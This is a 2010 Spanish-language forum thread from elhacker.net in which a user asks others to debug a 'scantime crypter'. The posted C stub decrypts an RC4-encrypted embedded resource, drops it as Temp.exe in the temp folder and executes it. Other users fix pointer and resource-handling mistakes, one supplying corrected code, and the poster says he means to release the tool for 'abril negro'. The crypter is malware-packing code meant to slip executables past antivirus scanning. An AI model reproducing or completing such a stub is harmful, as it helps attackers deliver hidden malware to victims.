elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Problemas con un crypter en VB6/C
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problemas con un crypter en VB6/C  (Leído 3,858 veces)
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Problemas con un crypter en VB6/C
« en: 20 Abril 2010, 13:53 pm »

Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

Código
  1. #pragma optimize("gsy", on)
  2. #pragma comment(linker, "/MERGE:.rdata=.data")
  3. #pragma comment(linker, "/MERGE:.reloc=.data")
  4. #pragma comment(linker, "/MERGE:.text=.data")
  5. #pragma comment(linker, "/ENTRY:main")
  6.  
  7. #include <windows.h>
  8.  
  9. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);
  10.  
  11. void main()
  12. {
  13. HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
  14. DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
  15. MessageBoxA(0,"1","",0);
  16.  
  17. LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
  18. LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
  19. MessageBoxA(0,"2","",0);
  20.  
  21. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  22. Buff=(LPSTR)LockResource(hBuff);
  23. LPSTR xPass=&Buff[Size-11];
  24.  
  25. Buff=RC4(Buff,xPass,Size-11,10);
  26. MessageBoxA(0,"4","",0);
  27. GetTempPath(MAX_PATH,tFile);
  28. lstrcatA(tFile,"\\Temp.exe");
  29.  
  30. HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  31. WriteFile(hFile,Buff,Size,0,0);
  32. CloseHandle(hFile);
  33.  
  34. ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
  35. }
  36.  
  37. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
  38. {
  39. int i, j = 0, s[256];
  40. DWORD dw;
  41. BYTE tmp;
  42. LPBYTE Buf = (LPBYTE)szBuf;
  43. LPBYTE Key = (LPBYTE)szKey;
  44. for(i = 0; i < 256; i++)
  45. {
  46. s[i] = i;
  47. }
  48. for(i = 0; i < 256; i++)
  49. {
  50. j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  51. tmp = s[i];
  52. s[i] = s[j];
  53. s[j] = tmp;
  54. }
  55. for(dw = 0; dw < dwBufLen; dw++)
  56. {
  57. i = (i + 1) % 256;
  58. j = (j + s[i]) % 256;
  59. tmp = s[i];
  60. s[i] = s[j];
  61. s[j] = tmp;
  62. Buf[dw] ^= s[(s[i] + s[j]) % 256];
  63. }
  64. return (LPSTR)Buf;
  65. }

Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


« Última modificación: 20 Abril 2010, 13:55 pm por shark0 » En línea

E.P.I.


Desconectado Desconectado

Mensajes: 346


elprogramadorinformatico [E.P.I.]


Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #1 en: 20 Abril 2010, 18:06 pm »


PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


Puede ser porque la estructura de MessageBox() sea:

Código
  1. int MessageBox(
  2.  __in  HWND hWnd,
  3.  __in  LPCTSTR lpText,
  4.  __in  LPCTSTR lpCaption,
  5.  __in  UINT uType
  6. );

Intenta pasarlo a un int  ;) :xD

Saludos  :)

PD: ¡me hiciste caso con HeapAlloc()  ;D! ¿fue por lo que te dije?


« Última modificación: 20 Abril 2010, 18:09 pm por E.P.I. » En línea

La verdad nos hará libres
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #2 en: 20 Abril 2010, 18:40 pm »


PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


Puede ser porque la estructura de MessageBox() sea:

Código
  1. int MessageBox(
  2.  __in  HWND hWnd,
  3.  __in  LPCTSTR lpText,
  4.  __in  LPCTSTR lpCaption,
  5.  __in  UINT uType
  6. );

Intenta pasarlo a un int  ;) :xD

Saludos  :)

PD: ¡me hiciste caso con HeapAlloc()  ;D! ¿fue por lo que te dije?

Pero si es texto el LPSTR como lo voy a pasar a integer?.. =S
Si lo del HeapAlloc n ose quien me lo dije y lo empece a usar.. jeje

Me refiero a esto :

LPSTR Variable;

MessageBox(NULL,Variable,NULL,NULL);

« Última modificación: 20 Abril 2010, 19:01 pm por shark0 » En línea

Littlehorse
All the world's a stage
Moderador
***
Desconectado Desconectado

Mensajes: 2.714


Nie Dam Sie


Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #3 en: 20 Abril 2010, 19:13 pm »

Código
  1. MessageBox(NULL,Variable,NULL,0);
En línea

An expert is a man who has made all the mistakes which can be made, in a very narrow field.
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #4 en: 20 Abril 2010, 22:49 pm »

Código
  1. MessageBox(NULL,Variable,NULL,0);

Vale no se me mostraba porque el code no llega mas despues de estas lineas :

Código
  1. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  2. Buff=(LPSTR)LockResource(hBuff);
  3. LPSTR xPass=&Buff[Size-11];

Algo esta fallando por ahi y no se que puede ser.. =/
En línea

Littlehorse
All the world's a stage
Moderador
***
Desconectado Desconectado

Mensajes: 2.714


Nie Dam Sie


Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #5 en: 21 Abril 2010, 13:45 pm »

Código
  1. for(i = 0; i < 256; i++)
  2. {
  3.        j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  4. tmp = s[i];
  5. s[i] = s[j];
  6. s[j] = tmp;
  7. }

Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post.

Saludos
En línea

An expert is a man who has made all the mistakes which can be made, in a very narrow field.
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #6 en: 21 Abril 2010, 14:06 pm »

Código
  1. for(i = 0; i < 256; i++)
  2. {
  3.        j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  4. tmp = s[i];
  5. s[i] = s[j];
  6. s[j] = tmp;
  7. }

Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post.

Saludos

Vale lo siento, pero si no hago ese doble post se va hacia abajo y se olvidan del tema.. a ver estuve depurando a mi modo (con messageboxs) y creo que el problema viene que no obtiene los datos del recurso, ¿porque? no lo se..

Código
  1. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  2. Buff=(LPSTR)LockResource(hBuff);
  3.  
  4.    MessageBoxA(0,Buff,"",0);
  5.  

Me devolvió un MessageBox vacio.. ¿estaré usando mal la API?..

Ayudita?!

PD : Aqui pongo una imagen del resource hacker mostrando el recurso del stub.



(Lo seleccionado es la contraseña del cifrado)

Y ese recurso lo cargo asi :
Código
  1. HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);



« Última modificación: 21 Abril 2010, 14:11 pm por shark0 » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Problemas con un crypter en VB6/C
« Respuesta #7 en: 21 Abril 2010, 15:45 pm »

Buf, vaya confusión mental  :xD. Lo primero, el fallo no puede estar en la función RC4 porque yo usé esa misma en muchos codes y jamás me dió problemas. Lo del MessageBox es que no sabes aún lo que es un puntero
Código
  1. LPSTR Variable;
  2. MessageBox(NULL,Variable,NULL,NULL);
  3.  

Si supieras que es un puntero sabrías que le estás pasando a MessageBox un puntero nulo que puede apuntar a cualquier lado, lo que se traduce en un crasheo.

Código
  1. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  2. Buff=(LPSTR)LockResource(hBuff);
  3. MessageBoxA(0,Buff,"",0);
  4.  

Otro fallo de no tener claro lo que es un puntero, el resource no contine el caracter nulo que le indica al MessageBox hasta donde tiene que leer.

Código
  1. DWORD dwResSize=SizeofResource(GetModuleHandle(NULL),hRes);
  2. LPSTR lpRes=(LPSTR)GlobalAlloc(GPTR,dwResSize+1);
  3. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  4. Buff=(LPSTR)LockResource(hBuff);
  5. memcpy(lpRes,Buff,dwResSize)
  6.  
  7. MessageBox(0,lpRes,0,0);
  8.  

Lo hice a ojo, pero debería de estar bien.

Saludos

Edito: Además debes usar caracteres printeables, no todos los valores hexadecimales son printeables en un MessageBox. Utiliza letras ASCII y no intentes con otros valores hasta que lo consigas así.

« Última modificación: 21 Abril 2010, 15:49 pm por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
river_0119

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: Problemas con un crypter en VB6/C
« Respuesta #8 en: 7 Mayo 2010, 15:49 pm »

para usar LPSTR tienes que usar

MessageBoxA

 :-\

para los que se esten iniciando (como yo)
En línea

bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: Problemas con un crypter en VB6/C
« Respuesta #9 en: 7 Mayo 2010, 16:31 pm »

Verifica el resultado de las funciones, y usa printf para ver si el resultado es correcto. si no sabes depurar aun, usa en tu codigo INT 3 para que el depurador para solo justo en la zona de codigo que quieres verificar.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines